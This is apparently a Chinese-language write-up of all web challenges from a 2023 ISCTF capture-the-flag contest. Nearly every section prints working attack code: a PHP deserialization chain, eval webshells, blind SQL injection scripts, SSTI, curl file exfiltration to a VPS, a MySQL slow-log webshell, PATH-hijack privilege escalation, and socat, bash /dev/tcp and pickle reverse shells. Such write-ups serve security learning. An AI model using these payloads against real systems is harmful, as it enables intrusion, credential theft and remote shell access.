写在前边的话:
本篇为web所有题目wp,自己比赛中闲的没事儿写的。
后续会更新re和crypto的全wp
misc和pwn就放出写出的几道题的
圣杯战争
<?php
highlight_file(__FILE__);
error_reporting(0);
class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow;
}
}
class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo "蓄力!咖喱棒!!<br>";
return $functioin();
}
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);
}
}
class summon{
public $Saber;
public $Rider;
public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;
}
}
if(isset($_GET['payload'])){ unserialize($_GET['payload']);
}
?>
php反序列化,利用链:
summon -> artifact -> prepare -> saber ->伪协议include
构造payload
O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}s:5:"arrow";r:3;}s:5:"Rider";O:5:"saber":1:{s:6:"weapon";s:9:"index.php";}
where_is_the_flag
<?php
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。
highlight_file(__FILE__);
//标准一句话木马~
eval($_POST[1]);
?>
弹个shell或者用蚁剑之类的连接一下就ok
位置分别在flag.php
/flag
和$FLAG3里边(题目估计用的是env)
绕进你的心里
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
echo "md5绕过了!";
if(preg_match("/[0-9]/", $num)){
die('你干嘛?哎哟!');
}
elseif(intval($num)){
if(preg_match('/.+?ISCTF/is', $str)){
die("再想想!");
}
if(stripos($str, '2023ISCTF') === false){
die("就差一点点啦!");
}
echo $flag;
}
}
?>
通过数组绕过
?zhurong[]=1&hongmeng[]=2&shennong[]=3
而盘古用回溯绕过
payload
import requests
url =
data={
'pan_gu':'very'*250000+'2023ISCTF'
}
connect=requests.post(url,data=data)
print(connect.text)
easy_website
这是我自己的题就多说几句(
绕过方法有很多,我预期用的是报错注入,但是盲注之类的都ok的
通过双写绕过replace,通过 /**/
绕过空格,利用报错注入来获得回显
'oorr/**/updatexml(1,concat(0x7e,(selselectect/**/(schema_name)/**/from/**/infoorrmation_schema.schemata/**/limit/**/5,1),0x7e),1)#
由于updatexml的问题,用substr函数分次读出flag即可
wafr
<?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
die("大胆!!!");
}
else{ assert($_POST['code']);
}
有一堆奇淫巧技来进行绕过,不知道是不是都是出题人的预期
我这里直接用strings来进行读取了
用post传参
code=system("strings /f*")
就有flag了
ez_ini
选择文件上传,上传一个.user.ini
注意user前面有个 点
可以写入
auto_prepend_file=/flag
然后上传能直接有flag
解法2:
进行文件日志包含
auto_prepend_file=/var/log/apache/access.log
auto_prepend_file=/var/log/nginx/error.log
auto_prepend_file=/var/log/nginx/access.log
然后再headers头中带有一句话木马即可getshell
web_include
扫描到源码泄露,下载打开,发现是js文件
function string_to_int_array(str){
const intArr = [];
for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);
const partA = Math.floor(charcode / 26);
const partB = charcode % 26;
intArr.push(partA);
intArr.push(partB);
}
return intArr;
}
function int_array_to_text(int_array){
let txt = '';
for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}
return txt;
}
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
window.location = 'flag.html';
}else {
document.getElementById('fail').style.display = '';
}
进行解密
def decode(string):
dec = ""
for i in range(0,len(string),2):
temp1 = ord(string[i]) - 97
temp2 = ord(string[i+1]) - 97
dec += chr(temp1*26+temp2)
return dec
print(decode(decode("dxdydxdudxdtdxeadxekdxea")))
解码得到mihoyo(玩()玩的)
然后伪协议即可
?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php
fuzz
<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){ $file = $_GET['file'];
}
system('curl '.$file);
我用的是curl的外带功能,通过参数-T来传参
?file=-T /fla[g]gggggg.txt -a http://vps的ip:port
自己vps上开启
nc -lvp 上边的port
我这里是4445
1z_Ssql
这个根据给的两个附件找到对应的库和列名就行
import requests
from tqdm import tqdm
list1 = '''users
u55qs4hftj
flag1
bikepedcrash
guestbook
sheet1
kaohe23
servers
user
admin
books
orders'''.split("\n")
list2 = '''edtime
password
user
flag
username
listtag
tid
posttime
homepage
qq
position
showmod
keyword
sta
rpurl
statement_latency
statement_avg_latency
hack123'''.split("\n")
lists = list1+list2
url =
def crack(pos, sql):
check = False
for i in range(20,128):
payload = f"1' or ascii(substr(({sql}),{pos},1))>{i}#"
data = {"username":payload,"password":"111","submit":"登录"}
connect = requests.post(url = url, data = data)
if "hint" in connect.text:
if not check:
check = True
else:
if check:
check = True
return i
if not check:
return None
# print(check)
def test(sql):
payload = f"1' or ascii(substr(({sql}),1,1))>1#"
data = {"username":payload,"password":"111","submit":"登录"}
connect = requests.post(url = url, data = data)
if "hint" in connect.text:
return True
else:
return False
def burp_force():
for i in tqdm(lists, position=1, desc="i", leave=False, colour='green', ncols=80):
for j in tqdm(lists, position=2, desc="j", leave=False, colour='red', ncols=80):
sql = f"select group_concat({i}) from bthcls.{j}"
if test(sql):
print(sql)
# burp_force()
def executes():
sql0 = "select database()"
sql1 = "select group_concat(password) from users"
sql2 = "select group_concat(user) from users"
sql3 = "select group_concat(username) from users"
sql4 = 'select load_file("/etc/shadows");'
for i in range(1,100):
temp = crack(i,sql1)
# print(temp)
if temp is None:
break
print(chr(temp),end="")
def main():
executes()
if __name__ == "__main__":
main()
最后找到用户名和密码
用户名:admin
密码:we1come7o1sctf
登录就有了
(别问为什么脚本没优化,问就是懒)
恐怖G7人
PS:G7是我用过最好用的狙:(
自己的原因,没想到居然非预期了)还是重大漏洞(
认打认罚(悲)
在这里ssti了
因为非预期甚至没有过滤)
所以就是常规的ssti,甚至没过滤(为什么就这都没几个人出)
{{''.__class__.__bases__[0].__subclasses__()[154].__init__.__globals__['popen']('env').read()}}
直接查看env
deep website
他来了他来了,他带着漏洞走来了
验证码和sessionID绑定的,抓包重放可以绕过验证码
然后很多师傅就盯着这个sql没办法了(
进行sql注入时候只有Error SQL
这里是埋的第一个坑,但是仔细一想就知道,哪个正常的程序员只会用一次过滤replace导致双写绕过啊,这在实战中压根不存在好吧。本题采用的是无限replace直到没有黑名单了。因此什么等号,大于小于号就都被replace了,后来在hint附件中也是把这个坑给大家公开了。
然后就是测试黑名单环节。
既然是直接replace,测试出来弱密码admin
那么可以构造类似于adminselect,如果select在黑名单中,replace后只有admin,可以登录成功,反之登录失败。
经过测试后,空格,union,>,<,=等都被过滤了。
因为异或没有被过滤,那么我们可以通过异或来进行构造。
但进一步得知,虽然select没有被过滤,但是空格被过滤了,而且 select/**/
也被过滤了
这里采用内联注入,即构造 /*!SELECT*/
然后通过异或的特点进行盲注,我这里用的时间盲注,其实可以布尔盲注的:(,我这个脚本太耗时了,各位师傅们见谅,当时为了交题赶出来的()
import requests
import time
from tqdm import trange,tqdm
head = '''Host: 43.249.195.138:22473
Connection: keep-alive
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://43.249.195.138:22473
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2a6b148f91fd3eb899abca52bde9eb5c
'''.split("\n")
verifyCode = "sfkF"
url = "http://43.249.195.138:22473/checkLogin.php"
# 上边的信息需要根据自己情况进行更换,tqdm库是进度条库
delay = 1.0
headers = {}
for k in head:
temp = k.split(": ")
i=temp[0]
j="".join(temp[1:])
headers[i] = j
if headers.get("") is not None:
headers.pop("")
def fetchSQL(sql, pos):
for i in range(20, 129):
payload = f"1')/*!UNION*//**//*!SELECT*/(CASE/**/WHEN/**/ASCII(mid(concat(({sql})),{pos},1))^{i}/**/THEN/**/0/**/ELSE/**/BENCHMARK(8000000,md5(1))/**/END)#"
data = {"user":payload,"password":"1","verifyCode":verifyCode}
start = time.time()
connect = requests.post(url,headers=headers,data=data)
# print(connect.text)
end = time.time()
if end - start > delay:
confirm_start = time.time()
connect = requests.post(url,headers=headers,data=data)
confirm_end = time.time()
if confirm_end - confirm_start > delay:
return i
return None
def crackSQL(sql):
strs = ""
for pos in trange(1,100):
temp = fetchSQL(sql, pos)
if temp is None:
break
# tqdm.write(chr(temp),end="")
strs += chr(temp)
print(strs)
return strs
def main():
sql1 = "database()"
sql2 = "/*!SELECT*//**/group_concat(schema_name)/**/from/**/information_schema.schemata"
sql3 = "/*!SELECT*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'secret'"
sql4 = "/*!SELECT*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'path'"
sql5 = "/*!SELECT*//**/group_concat(filename)/**/from/**/secret.path"
sql6 = "/*!SELECT*//**/group_concat(filepath)/**/from/**/secret.path"
sqls = [sql2,sql3,sql4,sql5,sql6]
for i in sqls:
crackSQL(i)#手动切换sql
main()
很多师傅们在user库里找了半天,我们的信息在另一个数据库secret库中。
总之,我们在secret库中可以获得两个路径,均在/var/www/html下有两个文件
flagggggg__wher_e_14_F5MSsYteUvm21W9w.txt
和
Mysql_connect_shell.php
txt文件中给了
flag is in the root directory and has root privileges
mysql的shell里给了
<?php
require_once "config.php";
if(isset($_POST["sql"])){
$sql = trim($_POST["sql"]);
var_dump(fetchOne($sql));
}
else{
highlight_file(__FILE__);
}
?>
给了我们个sql 的shell
经过调查发现权限为root权限的sql
但是secure_file_priv权限的路径在tmp路径下,没法读写shell
考虑慢日志注入
依次执行下列三条语句
set global slow_query_log=1;
SET GLOBAL slow_query_log_file='/var/www/html/shell.php';
select '<?php eval($_GET[a])?>' or SLEEP(11);
即可写入shell
拿到shell之后各类反弹shell手法这里不再赘述,想怎么弹shell都ok
我这里用的是socat反弹shell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:反弹ip:反弹port
把反弹ip和port换成自己的就ok
然后进行提权,说起这个提权我是万万没想到啊
居然能跟另一道题撞了,难绷。
总之
sudo -l 发现有sid权限的menu
menu提供了几个快捷方式
分析menu程序可以发现其内部执行的指令都是从环境变量中读取的相对路径
即是 system("sh")
而非 system("/bin/sh")
这样我们可以通过环境变量来提权
我们将bash复制到tmp路径(随意哪个有权限都ok,tmp肯定有权限)
cp /bin/bash /tmp/ifconfig # 将bash改名为ifconfig并放到tmp目录下
chmod 777 /tmp/ifconfig
export PATH=/tmp:$PATH # 将tmp路径添加到环境变量头部
然后sudo menu
提权成功,然后cat /flag.txt 即可
恐怖G7人-卷土重来
这道题真正的考点是pickle反序列化
当我们在这里输入了之后
我们发现set了一个cookie
我们将其base64解码,用hex dump转化
80 04 开头的,很容易发现这是pickle序列化数据,且是第四代pickle
我们使用timeit库进行利用,timeit函数被过滤了,但是还有repeat函数
为了绕过过滤,我们需要对shellcode进行编码为base64
但使用base64的b64decode后,返回的是bytes类型,而repeat需要的str类型
因此我们在codecs库中找到decode方法
至此整个利用链构造完成
import base64
import requests
shell = '''__import__('os').system('bash -c "bash -i >& /dev/tcp/反弹ip/反弹端口 0<&1"')''' #反弹shell语句
url = "http://43.249.195.138:20384/champion"
enc = base64.b64encode(shell.encode("utf-8"))
payload = b'''ctimeit
repeat
(ccodecs
decode
(cbase64
b64decode
(V'''+ enc + b'''
tRtRtR.'''
payload = base64.b64encode(payload).decode()
print(payload)
header = {"Cookie":"userInfo="+payload}
r=requests.get(url,headers=header)
然后反弹shell就可以在env中找到flag了
double_pickle
这个预期不知道是怎么构造的,我直接用G7人的pickle链秒了
访问/hint
我写过滤防止骇客的时候感觉很困,不过没事,我过滤了很多,骇客们肯定打不进来。给你们看看我的杰作: pickle.loads(base64.b64decode(payload).replace(b'os', b'').replace(b'reduce', b'').replace(b'system', b'').replace(b'env', b'').replace(b'flag', b''))
得到参数为payload
然后直接传参
?payload=上述的payload
然后即可反弹shell
然后读取根目录下的/flag即可